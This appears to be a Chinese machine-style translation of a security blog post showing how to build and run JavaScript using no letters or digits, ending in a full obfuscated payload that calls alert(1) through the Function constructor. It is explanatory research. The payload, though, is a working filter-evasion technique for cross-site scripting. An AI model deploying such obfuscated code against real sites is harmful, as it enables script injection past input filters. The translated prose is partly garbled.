本文将向您介绍没有数字和英文字母的Javascript运行代码。
作者决定尝试执行没有数字和英文字母的javascript代码。几年前,作者在一个节目中写了一个没有字母的代码。我们可以用类似的技术入侵优步。
经过我上次的深入研究,浏览器领域发生了一些变化,有趣的功能包括模板文本和数组ss="superseo">ss="superseo">对象的搜索功能。模板很有用,因为可以不用括号调用函数,查找函数可以用“undefined”生成,所以比原来的方法“filter”短很多。
无字母运行的基础是使用javascript对象生成最终允许代码执行的字符串。例如,+[]在javascript中创建一个0,而[][[]]创建是未定义的。通过转换对象,比如将未定义的字符转换成[[][]]+[][+[]]的字符串,我们可以重用这些字符,然后访问其他对象。如果要调用任意代码,就需要调用函数的函数性质,像这样[]find.constructor('(1)')()。
所以第一个任务是生成“find”字符串,我们需要生成数字来获得正确的索引定义字符串。下面是如何生成数字1。
+!+[]//1基本上这些代码都是用来创建0的!,因为0在javascript中的意思是false,然后+是使它真的为1的中缀运算符。接下来,我们需要创建上面提到的未定义的字符串,然后将这些数字加在一起,得到4次索引。下面是生成“f”的方法。
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]//f接下来我们需要做的是增加或减少索引来生成其他字母。
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]//i [[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//n [[][[]]+[]][+[]][!+[]+!+[]]//d现在我们需要合并字符并访问数组文本中的“find”函数。
[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]//find function这给了我们更多的角色。lookup函数的toString值是find(){[原生代码]}函数,这里最重要的字符是“c”。我们可以用上面的代码得到查找函数并转换成字符串,然后得到相应的索引。
[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]//c现在,继续使用“object”来获取“constructor”的其他字符,纠正和错误,然后将它们转换为字符串。
[[]+{}][+[]][+!+[]]//o [[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//n [![]+[]][+[]][!+[]+!+[]+!+[]]//s [!![]+[]][+[]][+[]]//t [!![]+[]][+[]][+!+[]]//r [[][[]]+[]][+[]][+[]]//u [[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]//c [!![]+[]][+[]][+[]]//t [[]+{}][+[]][+!+[]]//o [!![]+[]][+[]][+!+[]]//r现在,您可以通过数组文本上的constructor属性两次访问该函数的构造函数。将上述特征组合起来,形成一个“构造函数”,然后用数组文本[]['constructor']['constructor']来访问这个函数的构造函数。
[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]//Function现在我们需要生成案例(1)中我们要执行的代码,生成带有对错的报警。然后我们需要生成[]。找出函数中的括号。
[!{}+[]][+[]][+!+[]]//a [!{}+[]][+[]][+!+[]+!+[]]//l [!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]//e [!![]+[]][+[]][+!+[]]//r [!![]+[]][+[]][+[]]//t [[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//( +!+[]//1 [[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//)这是我们需要执行的代码。该模板将调用一个函数(确切地说是一个表达式),该函数可以允许将这些代码放在一起。这是一个非常有用的没有字母的代码。函数构造器返回一个函数,这个函数实际上需要被调用两次来执行代码。比如Function`(1)```,这是一个非常有效的javascript。有些人可能认为可以在模板中生成字符串文本并执行构造函数,但这是不可行的,就像下面显示的`${'ale'+'rt(1)'}'代码一样。模板文本用作参数来传递字符串的各个部分。如果您在模板文本表达式的前后放置一些文本,那么您会发现有两个参数被发送到调用函数。第一个参数包含前面的文本和表达式模板,用逗号分隔,第二个参数包含模板文本表达式的结果。以下代码将演示:
function x(){ (arguments[0]);(arguments[1]) } x`x${'ale'+'rt(1)'}x`剩下的工作就是将我们生成的构造函数传递给模板文本。不使用上面的“x”,而是将“$”放在模板文本表达式的两边。这将创建两个未使用的函数参数。这是最终的代码。
[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]`$${[!{}+[]][+[]][+!+[]]+[!{}+[]][+[]][+!+[]+!+[]]+[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]+[!![]+[]][+[]][+!+[]]+[!![]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]}$```//Function((1))欢迎分享,转载请注明来源:内存溢出
评论列表(0条)